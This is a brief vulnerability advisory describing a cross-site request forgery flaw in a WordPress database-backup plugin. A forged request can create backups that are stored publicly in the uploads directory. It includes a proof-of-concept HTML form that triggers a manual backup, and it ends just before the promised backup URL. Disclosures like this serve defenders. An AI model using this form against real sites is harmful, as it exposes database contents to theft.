1. Description:
This plugin allows admins to create and download database backups. A CSRF can create DB backups stored publicly in the uploads directory.

2. Proof of Concept:

<form action="http://localhost/wp-admin/tools.php?page=database-backups" method="post">
    <input type="hidden" name="do_backup_manually" value="1">
    <input type="submit" class="button button-primary" value="Do backup" autocomplete="off">
</form>

Backups can be accessed by the following URL.
